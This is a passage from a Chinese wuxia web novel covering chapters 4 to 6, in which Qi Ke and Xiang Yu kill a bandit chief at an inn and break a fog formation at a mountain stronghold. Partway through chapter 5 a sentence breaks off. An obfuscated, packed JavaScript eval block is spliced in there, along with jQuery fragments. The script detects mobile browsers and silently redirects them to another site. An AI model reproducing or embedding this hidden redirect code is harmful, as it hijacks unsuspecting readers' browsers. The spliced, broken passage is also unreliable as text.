他话音未落,齐珂挥手,那柄腰间刃又紧紧缠了回去,系扣啪嗒落下,除了没有被隐藏的刀意,哪里还有半分刀的样子,腰间的粉色丝带系成一个骚气的蝴蝶结,细看,粉色的绸缎上还有暗绣。
“说吧,向老前辈是你什么人?”
“爷爷。”向玉揉着肚子道。
“既是向家传人,你为何不用鸿鸣?”
向玉的顺着她的视线望向自己的腰间,脸色难得黯了几分,很快又恢复如常,挽着袖子伸手也给自己倒了一杯清茶,伸出食指摆了摆:
“有些事,你不懂。”
“哼!无言以对之人最会故作高深,你这种骗子我见多了,自知理亏,寻不出得体缘由来解释,就说别人什么都不懂。采花贼被揭穿歹心,会笑别人不懂风流情事,江洋大盗被缴上衙门,会说别人不懂何为劫富济贫,当年魔教以活人练蛊,恶行昭然天下,不也笑名门正派不懂长生不老?”
“珂珂好口才。”向玉也不恼,见她说累了,甚至还给她也满上一杯茶:“可是珂珂你误会了,我真是向家传人,此番出山亦是有一番雄心抱负!”
“是什么?”
向玉长袖翻飞,起身,慷慨激昂道:
“锄强扶弱,惩恶扬善!怎么样,心不心动,要不要加入啊?”
“没有兴趣。”齐珂喝了两杯清茶,觉得不过瘾,直接拿起茶壶,打开盖子往嘴里满满倒了一口:
“你要做侠客,自己去吧,别带上我。我这人的原则,事不关己高高挂起,只顾家中事,家中人,手头事情一了,我就回云清宫了,没有兴趣陪你行走江湖。”
“那珂珂此番下山,是云清宫出了事?”
“与你无关,你呢,什么时候闯荡江湖不好,为何选在此时离开漠北,往中原来?”
“你没收到飞鸽传书吗?”
“飞鸽传书?”齐珂皱眉。
“魔教出,八杰聚。
星月渐渐暗淡,堂下冷风拂过,出熄了摇曳的烛火,客房中愈发阴冷,只有门外廊檐下的几只灯笼在夜色里泛着幽光,映照着客房过道上的几株绿植影影绰绰,分外萧瑟。
齐珂一动不动地坐在那里,与向玉相顾无言,黑暗敛了彼此的神色,隐去了眼神中的深邃与不可捉摸。
“为何只有你收到了?”
“因为是我发的呀!”
齐珂无语:“滚!远容山没有鸽子,只有乌鸦!”
“你们不是有鸽房?”
“养的是乌鸦,乌鸦送信,不叫鸽房,难不成叫鸦房,你自己听听,好听吗?”
“在理在理!”向玉附和
齐珂打了一个哈欠:“既是你发的,那就不用管了,困了,睡觉了!”
“啊?别吧……珂珂……你怎么能这样呢?你这样冷漠,人家好伤心的。”
齐珂猛地回头,向玉抿唇闭嘴,瞪着一双水汪汪的眼睛。
“房钱你出,所以,我睡床,你打地铺。”她扔下一句话,像是料到向玉会说什么,转头,抬手:
“你要是想和我/睡/呢,我没意见,但我不对男人负责,你最好提前知道这一点,否则明日哭天抢地说我穿上衣服不认人,我可不认!”
“瞧你~珂珂,我是那样计较的人吗?向某可是浪子,万花丛中过,绝不是那种动辄哭着喊着求你负责的白面小生,但凡事总要循序渐进嘛,若头回见面,相识还不到两个时辰就共枕一席,那和去瓦舍窑/子里随便点个卖/身的伶/人春/宵一晚有何不同呢?”
他理了理衣衫,去橱柜里收拾出一床被子来,放在与床有一道屏风之隔的外室:“慢慢来,我们来日方长~”
齐珂嗤笑一声,不作梳洗直接躺下,闭上眼:“随你。”
那厢,只听得清水拂面的声音,那位讲究的“公子”已然洗漱好了,空气中隐约飘来比方才更浓的雪中春信的淡甜梅花香。
“你有病吧,睡觉还喷香。”
“精致嘛!”向玉拍拍白皙的手腕和脖颈,和衣躺下,声音清甜动人:
“小仙女,小珂珂~晚安~”
5. 第5章
衢县虽不如凤阳县,但早市也是车马粼粼,人流如织,茶楼,酒馆,当铺,作坊纷纷开张,街道两旁撑着油伞支起的面摊,茶摊,饼摊比肩而立,参差起伏的吆喝声叫卖声,隔着老远便能入耳。
“珂珂,这儿。”
齐珂刚一下楼,就听见向玉的声音。
他换了一件雨后青蓝色的广绣长衫,青蓝色的发带,头顶还插了一支银镀金蝴蝶簪子。
他坐在客栈大堂临街的一个桌子旁,因为男生女相,长得实在太过漂亮,不仅引起客栈中食客的注意,就连街上走过的行人,经过窗户旁边时都会忍不住回过头多看他几眼。
他面前的桌上摆着两碗香气四溢的羊杂碎面,上面淋着满满的浇头,一大碗豆腐脑,边上两碟子佐料并两个空碗。
“点给我的?”
“自然,豆腐脑你要甜口还是咸口?”
“你个漠北人还懂这儿的美食?”
“莫将腐乳等闲尝,一片冰心六月凉。不曰坚乎惟日白,胜他什锦佑羹汤。走一方,尝一方,不足为怪。”
“甜口,有劳。”
“小心烫。”他挽着袖子把面前一碗淋着红糖汁的豆腐脑摆到齐珂面前。
“你不会在里头下毒吧?”
“珂珂~我是那样的人吗?你一试便知。”
“料你不敢。小二!再上一份羊肉泡馍来,两个油坨坨,用油纸包起来,我要外带!”
“留着路上吃?”
向玉挽起袖子,用筷子从碗里挑起一根面条,沿着碗壁沥了沥汤水,送进口中,末了,从怀里掏出一张与长衫同色的帕子,轻轻擦拭嘴角:
“今日有何打算?”
“讲究。”齐珂无语地撇了撇嘴,又想起他大晚上睡觉前还喷香的事情,鸡皮疙瘩落一地,瞄了一眼他头上的蝴蝶簪子,啧啧两声,从碗里连臊子并粗面一并叉起,一口嗦进嘴里,羊肉麻辣鲜香,不腻不膻,面条劲道可口,当真妙极,她把嘴里的东西咽下去,才道:
“昨天没查到什么线索,我要去一趟福县鸽房,查一查紫刀派,但福县距这儿有些距离,我没带钱,还需劳你再破费,我打包点东西路上吃。”
“珂珂,你这样说就见外了,为美人花钱,不叫破费,叫三生有幸。”
“啊!!!”
他话音刚落,店门外传来一声惨叫,在外面吆喝招呼的小二被一掌打了进来,直接撞上大堂迎门的一张四座木桌,木桌应声而裂。
小二捂着胸口,面色泛白,冷汗如注,不住地呛咳。
店中的本地熟客看到外面作乱之人的脸,都乱了阵脚,撇下筷子,三三两两踉跄着跑出客栈,周边支摊的小贩仿若见了活阎罗一般,手脚哆嗦,赶急忙慌地将刚摆出去的摊子收拢,向四面逃去。
如今店中仍岿然不动的人,只剩下齐珂向玉,还有昨天晚上那三个年轻道士中的其中一人。
“吴掌柜,生意兴隆啊!”
齐珂与那道长皆背门而坐,此时纷纷转头,皱眉向门外看过去。
逆光而入一个身形格外消瘦,弓腰驼背的青年男人,男人脸型狭长,髋骨极高,一双眼窝深陷,里头嵌着一对阴郁的丹凤眼,活像一只索命的厉鬼,散发着令人胆寒的嗜血厉色。
但最引人注目的是他背在身后的一双手,掌心颜色暗黄,是一层厚如松糕的老茧,手掌微屈,但是个人都能看出来,这双手格外苍劲有力。
“燕大侠,燕大侠,这十日的保护费我们已经悉数交了呀,您……”掌柜双手合十,颤着双腿立在堂中,话还没说完,就被提着衣领举了起来。
“怕什么,我又不是来收保护费的,阿云不在吗?你往外面看看,聘礼我都备下了,今日提亲,明日过门。”
那掌柜倏然留下两行泪来:“燕大侠,您行行好,阿云是我的妻子,我……啊!”
男人不耐地闭上眼睛,用力一甩右臂,掌柜直直飞了出去,一声闷哼,后背一下子嗑在木桌桌角上,倒地不起。
齐珂悄悄朝向玉勾了勾手指,待他不动声色地探身,以手掩面,附在他耳边低语道:“啧,出手比我还狠。”
“珂珂,这不是你远容山的地盘吗?这人如此猖獗,你不管?”
“与我何干,云清宫避世,我才懒得管这等杂事。”
“你俩闭嘴!”那位“燕大侠”转头斜着眼睛冲两人低吼:
“乖乖坐着,今儿个爷就不找你们的麻烦。姓吴的,我告诉你,人我是要定了,你别敬酒不吃吃罚酒,你再敢不应,大婚之日,爷就将你抽筋扒皮,涮油火烧了当主菜!”
“相公!相公!燕岭,你要做什么!别动我家相公!”
后厨冲出来一个穿着半旧粗布黄衫的女子,手如柔荑、肤如凝脂,美目盼兮,此时素脸上两行清泪,犹如青莲般淡染流年。
西北地甚少出这样如水粉一般浓浓淡淡,有着江南烟雨丰韵的女子。
真正是荆钗布裙,不掩天姿国色。
齐珂看到那个女人,眼睛微眯,闪过一丝异色。那边向玉看见美人这幅样子,却是一脸心疼:“哎呀~作孽哦,欺负小娘子做什么?”
那个叫阿云的女子,跌跌撞撞地冲向倒在地上的吴掌柜,一把将他圈进怀里,纤弱的身躯挡在他身前。
“阿云,你糊涂啊,这个臭男人懦弱无能,又爱拈花惹草,你这等姿色,别说在远容山,就是方圆百里,都难寻得比你容貌更好之人,你何苦跟着他过活?”
“燕大侠”看见人出来,一下子急了眼,两个跨步走到近前,手指着吴掌柜,面朝阿云,喷着唾沫,满脸愤恨。
向玉还在双手合十,怜香惜玉,恨不得上前英雄救美,但苦于身边还坐着另一个美人……也不好明晃晃地再去勾搭别人。
“嗯?”倒是齐珂,听到那个男人的话,耳朵微动。
“喂!长脸怪!你长没长眼睛,最美的在这儿呢!”她靠坐在长凳上,右脚勾过另一侧的又一条凳子,踩在脚下,手端面碗,边吃边看眼前这出闹剧。
“你他娘的给老子闭嘴!再多说一个字,老子撕烂你的嘴。”
“别理他,珂珂吃面。”向玉好不容易从“弱女子”身上收回眼神,把自己碗里的羊肉全部夹给齐珂,又转回去看地上泪流满面的女人。
“我与相公如何,与你何干,自从一月前你来了,日日搅得我们不得安生,你才是祸害!”阿云眼中热泪更甚,抱着吴掌柜的身子微微颤抖,却仍倔强地直视着目光如厉鬼一般的燕岭。
“我呸,臭婆娘,你别得寸进尺了,老子看在你当年救过老子的份上对你一忍再忍,今日你人既在这儿了,不走也得跟老子走。”说罢,他直接上前,一把钳住阿云的胳膊,使蛮劲就要把她拉起来。
“娘子!娘子!”吴掌柜趴在地上动弹不得,手指死死地抓住阿云的衣袖,不肯松开半分。
“滚蛋!”燕岭抬脚又是狠狠一踹,正中吴掌柜手肘,吴掌柜当即一声惨叫,手骨错位。
“打得好!寨主打得好!”
外头提着八箱绑着红色绣带的寨中手下爆出一阵喝彩声,更有甚者举起手中的兵器挥舞呐喊。
“相公!燕岭,你混蛋,放开我!”阿云另一只手使劲拍打着燕岭,奈何柔筋脆骨,打在燕岭的身上丝毫起不得作用。
“哎哟~珂珂,对不住了,我实在见不得姑娘家受苦,先出手……”向玉卷起袖子刚要起身,但被另外一个人抢先一步。
“住手!”一声清脆的厉喝。
循声望去,正是那位年轻道长,此时已蹙眉起身,左手搭着浮尘,右手抚上剑鞘,背着晨时淡黄色的阳光,长身玉立。
“小道士,别多管闲事,小心老子连你一起打。”
“这位女善人既不愿同你走,莫要强求。”
“你懂个屁,老子是在救她出苦海,这狗男人朝秦暮楚,跟着他能有什么好日子?!”
“世俗之人,皆喜人之同乎己,而恶人异于己也。你所思并非他人所想,你又怎知这掌柜是何等人?”
“屁话!老子懒得和你废话,走!阿云!今儿你就跟我回鸠王寨,做我的压寨夫人。”
“我不要——”
“苍啷——”
一声鹤鸣,宝剑出鞘之声。
“强人所难,是为匪盗,今日,我在此,你休想带这位姑娘离开。”
“我看你是自寻死路,找打。”
话音刚落,两人身形如电,纠缠在一起。
掌法与剑法相碰,空气中隐隐有爆裂之声。燕岭一双大掌如盾似枪,可攻可挡,脚打七,手打三,掌随剑锋推转,沉肩松膀,翻复旋风,前手虚实,后手埋伏,进退有法,变化反正。手刀为圆形,掌立向下,搅动如风,掌风似龙,盘旋而起,大有翻云搅雾之势。
“翻云掌?”齐珂眼神冷冷扫过地上的女人,转头看向战局,咽下口中的面条,皱眉叹道。
“倒只学了皮毛。”向玉见有人出手,松了一口气。
“流光七怪六十年前不是绝世了嘛?怎还会有这么年轻的后人?”
“当年只传流光七怪随百毒神教一道被剿灭了,真死假死,谁人可知?”
年轻道长使一把剑身上刻有七星标志和飞龙图案三尺长剑,剑出惊鸿,形如圆月,身法与剑法合一,快慢结合,以势融之。剑随身走,以意领剑,快慢相间,刚柔相含。
灰色的身影爆发出强烈的剑势,那如同星辰般闪耀的剑光,让人眼花撩乱。一时之间,客栈中闪出数个青灰色的剑影,各占一位,相携而成五行八卦中天玑阵的阵势。
“武当七星剑。”向玉不知何时已挨着齐珂坐下,端着一杯清茶,轻抿一口道。
“七星剑中的天玑剑,可惜,其余六剑不在,赫赫有名的七星剑阵只能化其一,却不能无穷变幻。”
“他不是燕岭的对手。”
“怎么,向大侠想出手相助?”
“不想。”
“你不最是怜香惜玉?方才不还想英雄救美,这才多久,就改变主意了?”
“美人危难,第一个挺身而出雪中送炭之人才会被铭记,后头附和而上的,叫路人甲乙丙丁。我又何苦为他人做嫁衣?”
“在理~”齐珂点头,又问道:“但你昨晚不还说要锄强扶弱,惩恶扬善,开业第一单,去吧。”
“不去。”向玉又摇头,理了理自己的腰带:
“无名不斩无名宵小之辈。”
“巧了,血月不留嗜血残暴之人。”
“那珂珂你还不出手?”
“这个燕岭,顶多算个粗鄙的山大王,算不得嗜血之人,不值得我出手。”
“呃——”
掌意如风,裹挟着阵阵劲风,闻得一声闷哼,那个道长手持天玑剑挡在胸前,向后踉跄几步,才勉强稳住身形。
“臭道士,不想死就给老子滚开,今儿个老子下聘的良辰吉日,老子不想杀人。”
“我说了,今日,我在此,你休想带这位姑娘离开。”
语毕,那道长又提剑迎上去。
“你自找的。”燕岭眼中暴虐乍起,两手在身侧运功化璇,周身内力流转,齐聚掌心,冷哼一声,掌风大震,大有搅天覆地之势。
“啧啧啧,哎呀~攻下盘!”向玉皱眉,出声提醒。
道士身形一顿,随即手心朝上,以腰部力量带动剑刃由一侧向另一侧在低处平行移动扫。
翻云掌与其他掌法不同,除上半身运转舒展,动作连绵不断之外,下半身也是主攻非守,所以下盘不稳,道长扫剑而过,燕岭抬脚就避,攻势受阻,旋即沉腕撤式,连连封挡,但很快凝聚真气,反手劈出一掌,干脆利落,打出一道道残影。
道长见状忙虚步下截举剑格挡。
“带剑抡劈!”齐珂看了向玉一眼,摇了摇头,接过他递来的清茶,漱了漱口,悠然道。
那道长闻言,腰腹带动手臂发力,力达与虎口反向的一侧剑刃的中前段,由上向下着力,借助惯性反身回劈,天玑剑在空中划出一道泠冽的剑光,直朝燕岭颅顶而去,燕岭抬手格挡,长剑避开掌风,一下砍在燕岭的手臂之上,刹时血珠四溅,而那锋利的剑刃竟是不沾丝毫血色。
“你们!”燕岭怒目圆瞪,狭长的黑脸上,五官聚集到一起,更似一具饿鬼。
他撤步闪身,身形陡然一跃,与那道长拉开一段距离,脚下云步一旋,侧身朝着齐珂和向玉就是一掌,掌式之强劲,掌风所过之处,木质的桌椅皆应声而裂。
“哟吼!这就破防了?”
齐珂长眉一挑,右手运气,磅礴醇厚的真气自掌心汇聚,待那翻云掌至,便欲反击,可谁知,她还没出手,一根沾着肉汤的木筷带着激荡的刀意划破汹涌的掌风,以泠冽之势直冲燕岭掌心而去,冷芒如电,龙吟未绝,还没等她看清那长啸惊天的刀意,就见那根木筷穿燕岭掌心而过,狠狠钉在他身后的木柱之上。
燕岭的左手赫然豁开一个血洞,汩汩殷红。
“啊——”骤然寂静的客栈只听得燕岭的惨叫哀嚎之声。
吴掌柜更是被吓破了胆,几乎跪不住,身子向前一塌,耸肩猛得吐出一滩污秽。
齐珂与那位灰衣道长见此情形,皆眉心为蹙,拧眉看向向玉。
后者仍是一幅甚是无辜的样子,轻展帕子,细细擦拭食指上不小心沾上的面汤,对上齐珂的视线,嘿嘿一笑:“下手重了些,意外,意外~”
“可以啊,出手够狠。”
“来人,把他们几个围起来,今日谁都别想活着离开!给老子杀!”
那边,燕岭将将缓过劲来,废力地持住手腕,冲外面满面惊讶与愤然的手下怒吼。一时间,那些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803056|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个山匪打扮的小啰啰噌得冲了进来,将几人团团围住。
“哎,长脸怪!我说,本远容山第一大美人好心奉劝你一句,趁早收手,否则今日死的就是你们。”
“你他娘的唠什么鬼话,给老子上!”
话音刚落,便有不怕死的冲到近前,道长见状,提剑便战,只是到底那道士心慈,天玑剑虽将近身的匪人打得节节败退,却只听骨裂之声,不见血色。
反观,齐珂和向玉便没有“烂慈悲”的“菩萨心肠”,齐珂仍是保持着坐踩在长凳上的姿势,随手压挑起面碗上剩下的那一根筷子,以木为剑,腕脉连翻,剑势之猛,一挽流星,狠毒异常,不攻他处,点剑直击眉心,这招还是谢明那小子教她的剑招,叫什么“画龙点睛”。
近她身前之人,动作未展,就仅余一声闷哼,刹时眉间血流如注,倒地不起,抽搐两下,便没了动静。
其余的人见前者死相凄惨,望而却步,转而向向玉攻去。可谁知,向玉更狠,嘴里一边念着“我佛慈悲,阿弥陀佛”,但手上的劲半点不减,沉腕一抖,内力一荡,手中茶盏飞旋而出,边缘温润圆曲的白色茶碗此时却如一把嗡然低啸的长刀,带着磅礴的刀势,冷冷生辉,寒星翻处,殷红四溅,茶盏所旋之地,耀华尽毕,不见活口。
一瞬间,客栈之中所留匪徒就只余燕岭一人。
“长脸怪,本姑娘给你两个选择,一,你自杀,二,我杀你。反正都是为民除害,你自己选吧。姑娘我原本不想多管闲事的,但你看你,闹这么大一出,先是偷袭我们,再叫人围攻我们,姑奶奶我再好的耐心也被磨得差不多了。”
“你!”
“别,别杀他,主上,求您手下留人!”
阿云跌跌撞撞地爬过来,扑倒在齐珂的脚下,抱住她的腿苦苦哀求。
“松开!”齐珂使劲将自己的裙摆拽出来:“别找死!”
“珂珂~”
“闭嘴,再多话一句,我连你一起杀!”
向玉赶紧抿上嘴巴,做作地不轻不重地给了自己一巴掌,爱莫能助地能冲地上的女人耸了耸肩,用口型道:“美人,对不住!她……我打不过。”
“两位善人认识?”道长问道。
“一条叛出门派的狗。”齐珂蹲下,捏起阿云的下巴,眼神中满是鄙夷:“不杀他?等着他回去召集人马再杀过来吗?那个人没教过你,对敌人仁慈就是对自己残忍,嗯?”
阿云的下颌被捏得咯咯作响。
她被迫仰起头和齐珂对视,像,这张脸实在是像,她有一瞬间的恍惚,直到齐珂再加大力道,她觉得自己的骨头都要被她捏碎:
“主上,他只是错路人,不是恶人。”
阿云从牙缝里挤出几个字。
“阿云……”燕岭体力不支跪在地上,显然没有想到阿云会给自己求情,挣扎着往这边爬,沿路拖出一条血痕,血染衣摆,向玉提起自己及地的长袍,嫌弃地往后退了两步。
“错路人?你可知他用的是何功法?”
燕岭快要靠近的时候,又被齐珂一掌挥开,她起身,居高临下看着两人。
“翻……翻云掌。”
“啊~魔教余孽。”齐珂轻嗤:“那就更留不得了,你也知道,魔教重出江湖,最近来远容山投奔云清宫人众多,不如把他头砍下来,丢给那些门派,也算一个交代。”
听到“魔教”二字,年轻道长心中一凛。
“主上!他不是魔教中人,当年只是幸得火鼠后人传授功法,后来为护姊妹才被掳进鸠王寨,求主上……燕岭!!”
她尖叫着扑过去,燕岭颈间血流如注,双目圆睁,捂着脖子倒在地上抽搐两下就咽了气。
店中几人俱惊,齐珂已经收起手中短刃,正是昨晚和向玉打斗时用的那一把,耸耸肩:“说晚了,杀完了!”
“这……”道士震惊地看向齐珂,后者与他对视。
“他在衢县征收保护费可是真?”
道长回想刚进门时燕岭和掌柜的对话,点点头:“是。”
“他下死手,重伤掌柜伙计可是真?”
“是。”
“他违人意愿,想让阿云强嫁可是真?”
道长看了眼跌坐在地上的阿云,眼中闪过不忍:“是。”
“烧杀抢掠,强抢民女,都这样了……”她踢踢地上的阿云:“还只是错路人吗?”
“你方才自己也说了~”向玉站出来,学那道士原先的样子,长袖翻飞,纵使手中空无一物,空气中也仿佛有拂尘划过,他把“空气拂尘”搭在左手,右手拇指无名指掐印:“强人所难,是为匪盗,既是匪盗,杀了就是!”
“哎呀~”他满足地笑起来,如沐春风,对齐珂翩翩一礼:“想不到,遇到美人的第一天,就做了一件替天行道的侠义之事,妙哉妙哉!日后与美人同行,想必假以时日,吾等美名,定能晓誉天下!”
齐珂眯眼,皮笑肉不笑:“走吧!”
“去何处?”道长拦道。
“当然是去鸠王寨,不先下手为强,难不成等人家上门寻仇?”向玉接话,提起裙摆,小心避过地上的血泊,蹲到阿云面前:“这小脸都哭花了,小美儿~”
他怕怕地看了一眼齐珂,见她没管,已去打包吃的,转头,小声对阿云道:“哥哥经验之谈,人呐,多情可以,滥情不行,你瞧瞧,这一出闹的。”
阿云一张梨花带雨的脸,闻言转身狠狠瞪住他,半点不复最初那副楚楚可怜的清雅美人模样。
“我不说了不说了~”向玉摆手起身。
“她不会再回来了。”齐珂走到阿云面前。
“主上……”
“你的主上是她,不是我,今日遇见我之事。”
“属下不会说出去半分。”她勉励支撑起自己的身子,颤颤巍巍地站起来,声音轻飘,像是连多说一句话的力气都没有,深吸一口气,缓缓行礼:“主上多保重。”
又侧身:“多谢道长出手相助。”
道士回礼,被向玉上前一步挡住,眸中星光点点:“我呢我呢?”
阿云看了他一眼,不说话,转头走去一边,扛起地上早就晕过去的掌柜,掀开帘子去了后面。
“女善人她……”年轻道长咽口水:“竟力大至此?那方才?”
“叫你逞英雄~”向玉双手抱臂:“走吧,天黑前完事。”
“你要一起吗?”齐珂向左移一步,向玉也跟一步贴紧她。
“若鸠王寨真是打家劫舍,兴风作浪的匪寇营寨,便一起去罢!”他把天玑剑收回鞘中,对二人拱手行礼:
“在下慕青南,师承武当乾坤门玄之真人。”
“昭才,缥缈孤影,并无师门派别。”
“金葆,师承。”向玉挺起胸膛,一张漂亮至极的脸上全是骄傲,扬声道:“真武大帝!”
6. 第6章
鸠王寨隐于远容山苍翠峰,入眼是蜿蜒无尽的翠绿,密密的塔松像程天的举伞,枝桠重重叠叠,只漏下斑斑点点细碎的日影。
三人根据阿云的指示攀上山峰,又往山顶走了大约一个时辰,日光隐去,迷雾缭绕,雾湮没了不远处的峰峦,似烟笼一般遮蔽了树干。
“双面迷阵?”齐珂不屑地笑了笑。
“不就是山雾?”慕青南握紧手中长剑,指尖符纸挥动,烟为橙红:“无毒。”
“师兄。”他看向走在两人身后的向玉,他上山的途中采了一把颜色各异的野花,一朵花苞别在耳后,手上正在编花环:“师兄如何看?”
“师兄不知道。”向玉不甚在意,继续编织手上的花环。
“小道长。”齐珂打响指:“你动动脑子行吗?真武大帝四百年前就已仙逝,他怎么可能是真武大帝的徒弟,你见过这样的~道士吗?”
“师兄心净如冰雪,身轻似碧云,为何不能是?”
“师弟独具慧眼。”向玉眉开眼笑,从衣袍里掏出一束黄粉相间的半支莲:“送你。”
又转身将编好的花环戴到齐珂的头上,欣赏道:“春已归来,看美人头上,袅袅春幡~”
“如今已入秋。”齐珂抬眼,一朵开得正艳的紫色虞美人垂在脑前,她环顾四周:
“双面迷阵,以山河之灵结阵,临山则阳盛,山为阳则水为阴,内部九座法台,各设机括,九台依山势而变,金兄,试试吧,破阵。”
她向后退了一步,做出请的姿势。
“这不就是我们武当斫龙阵?”慕青南不解:“可斫龙阵是以山河之灵捍卫墓葬的阵法,聚灵压煞,捍卫墓穴,怎会用于封闭寨口?况且,女善人,此乃普通山雾,何以见得是迷阵?”
“你仔细看。”向玉伸手指着前方的一片虚无。
“看什么?”
“认真看。”
“没什么呀……”慕青南还是不解。
“分层了呗,你看雾气的移动方向。”
慕青南凝神,这才发觉,面前看似飘渺一片的山雾,细看,轮廓逐渐显现,雾气中如珍珠般晶莹剔透的细小水珠确实有着不同的运动方向,水珠旋转环绕。
“是太极双鱼图!”慕青南惊觉,但很快眉头皱起:“但不知此乃何种卦象,判断不了阵指何方。”
“便是在武当斫龙阵基础上加了这层障眼法,故而叫双面迷阵,实际除了骗骗小孩儿,没什么作用,重点还是迷阵背后的斫龙阵。”齐珂双手抱臂:“金兄弟?”
她看向向玉,眼神中有看好戏的挑衅,目光无声道:“不是向家后人?那天下机括阵法自当无不通晓。”
向玉向后撩起垂落在胸前的发丝,长袖翻飞,摆动双手:“咳咳~还得靠我呀!二位让让,莫要被误伤。”
两人听话后退,向玉款款上前,手抚上腰间的岫玉系扣,齐珂反应过来,在长刀出鞘之前纵身而起,飞跃出三丈远。
银光乍现,刀挽流星,刀势之磅礴,大有一夫当关万夫莫开之势,瞬时山崖震动,崖壁回响,犹如战鼓雷鸣,天昏地暗,萦绕在周遭的雾气被震散开来,竟再难闭合,待长刀缠腰,收回鞘中,山野清明,面前赫然出现一条两人宽的山道。
齐珂飞身回来,向玉已经重新系好腰带,青蓝色的腰带上别着一朵与她头顶花环一样的紫色虞美人,他眉眼含笑看向齐珂:“如何?”
“你倒是简单粗暴。”齐珂抚掌赞他,再次暗暗惊叹其内力之深,此人身份还有待考究,如果当真硬碰硬打起来,无疑一场硬仗。
“一刀破万法,世间万种机括,皆可为我所破。”
见齐珂微眯起眼睛,他眼中精光褪去,重又换上一副风流浪荡的样子:“这不是赶时间嘛?珂珂你还要往福县去,早点解决鸠王寨也好早些起程,双面迷阵一道一道破,未免浪费时间。”
“你好贴心哦~”齐珂揪住他的腰带,把他往自己身边带,向玉笑眯眯靠过来,刚想贴上去,胸前被一只手抵住:“你要不要看看,你那位小师弟去哪儿了?”
“我在这儿……”陡坡下传来喘着粗气的呼喊声,扔上来一把天玑剑,再一双沾满湿泥的手,身上污迹斑斑的人费力爬上来,原本白净的拂尘下端沾满了泥浆,变得一绺一绺。
“哎呀呀~小师弟!”向玉想上前扶,可对方刚一伸手,看到那双全是泥泞的手,向玉又把手缩了回去,还顺带抽回自己的衣摆,慕青南踉跄,又向后一倒,咕噜滚了下去。
“噗嗤!”齐珂笑,向玉也笑。
“师兄~”慕青南好不容易重新爬上来:“我们不如先撤,方才那样大的动静,定是打草惊蛇了,今日出手怕是不便。”
“要的就是打草惊蛇。”向玉丢给他一张帕子。
“他只是破了双面迷雾阵,这里面的斫龙阵得让他们自己开,先走!”她走在最前面踏入山道。
和刚刚的种满巨树的山坡不同,山道两面皆是深不见底的悬崖,两侧无护栏,稍有不慎,就会坠入万丈深渊,慕青南走在最后,回头望去,背后瞬间沁出一层冷汗。
原来方才他们站的地方根本不是什么丛林,而是这万千山脉中的其中一处峰顶,参天巨木,绿树成荫,当真只是障眼法,实则,行之踏错,便万劫不复,而刚刚自己滚落的地方,只要再下去不到一丈,就要坠落悬崖。
他回过头,却一下子撞上向玉的后背,向玉娇俏“哎哟”一声,双手握住齐珂的肩膀,从她肩头缓缓探出头:“怎么了?”
“听!”齐珂凝神。
“他们来了!”向玉低呼一声:“哎哟,美人儿,在这儿不太好吧!”
话音刚落,外袍已被齐珂扒个干净,她随手将青蓝色的袍子扔在悬崖边,向玉反应过来,回身也抢下慕青南的一只靴子,一柄拂尘,一齐扔到悬崖边上。
不待人反抗,揪着慕青南的衣领,身子轻盈一纵,霎时拔高数尺,三人如壁虎一般,紧贴岩壁,屏息观察下面山道上的状况。
从岩壁内部传来闷闷的震动声,有小碎石滚落,砸在三人脸上,向玉无声痛呼几声,将脸埋到齐珂肩窝里。
齐珂嫌弃看他一眼,没有作声。
共九声震响,脚步声越来越近,齐珂向下看去,山道尽头一座巨大的紧紧闭合的山岩,此时慢慢打开,现出一道山口,出来二十余人,腰间佩刀,刀柄上绑着紫色的布条。
“紫刀帮!”她眼中闪过寒光,很好,不必再去寻了,吴家庄想杀她之人,便是这帮畜生。她的手悄悄摸上腰间的血月,却被另一只纤瘦柔嫩的手按住。
她低下头,向玉脸还埋在她的肩窝里,但修长的手指在她的手背上有规律地轻敲。
“潜!”
她反手握住那只手,食指轻点三下,两双手交叠在一起,微微使力,达成一致,身形翩飞,动作迅即,轻盈无声,犹如浮光掠影一般,贴着岩壁,眨眼消失不见。
“有人闯阵!”
山道上的二十余人沿路仔细搜索着:“这里!”
最前面的男人眼尖,一眼看见落在悬崖边上的外袍,一只道士穿的长靴,还有一柄满是泥土的拂尘。
他小心向山崖下面眺望:“掉下去了?”
“破阵哪有那么容易,大概是在迷阵里失了智,一脚踏空掉下去了。”
领头之人还不放心,弯腰捡起青蓝色长袍,还没有直起腰,忽然听到声后惊呼。
“小心!”
众人长刀未能出鞘,身子一僵,脖颈间纷纷出现一条银线一般细的血痕,血痕上一层薄薄的雪霜,雪霜蔓延,很快整个头都被冰封。
“咯咯咯!”领头之人猛地回头,脸色煞白,背后的二十多个兄弟的冰脑袋竟然直接从那道血痕上断裂开来,头颅齐刷刷落地,随着冰块破碎之声,竟然直接在地上碎成一块块冰渣,落在土里的咕噜滚开,跌落万丈深渊,不测之渊,只余令人心惊的“咚咚”空响。
他吓得拔腿就要往回跑。
“咯咯!”
又是方才同样的声响,他惊诧低头,腰部以下早已成一块寒冰,上半身坠落,他瞪大双眼不可置信地看着分离的身体抽搐。
细微清脆的铃铛声响,不远处即将闭合的迷雾里走来一个面如冠玉,身姿俊朗的持剑少年,少年长发束起,发尾垂着两颗珍珠大小的白色凤羽铃铛。
“你……你……”那人挣扎着,口中却再发不出声音。
少年面色阴骛,说不出得阴森可怖,戏虐地看着地上横七竖八地尸体,轻嗤一声:
“想杀阿姐的,都得死!”
他收剑向前,面前的空气突然传来撕裂之声,一柄玉刀破空而来,刀风凌厉,又快又狠,激射而来的虹芒带着雷霆之势,谢明心中大惊,长剑来不及出鞘,本能举起剑鞘就挡。
忽然,双刃相碰的刺耳响声在他耳边炸开,寒光涔涔,光芒褪去,那柄刀被一条冰蓝色的长鞭紧紧缠住,襟飘带舞,齐珂飞身挡在他面前。
“阿姐!”
“先走!”齐珂回头飞快打量他。
“原来是小美人的弟弟,失礼失礼。”向玉把刀缠回腰带里:“既然是美人的弟弟,那也是我的弟弟了,弟弟好,在下……”
“沧浪!”长剑出鞘,手被人握住:“不是斗气的时候,先进寨!”
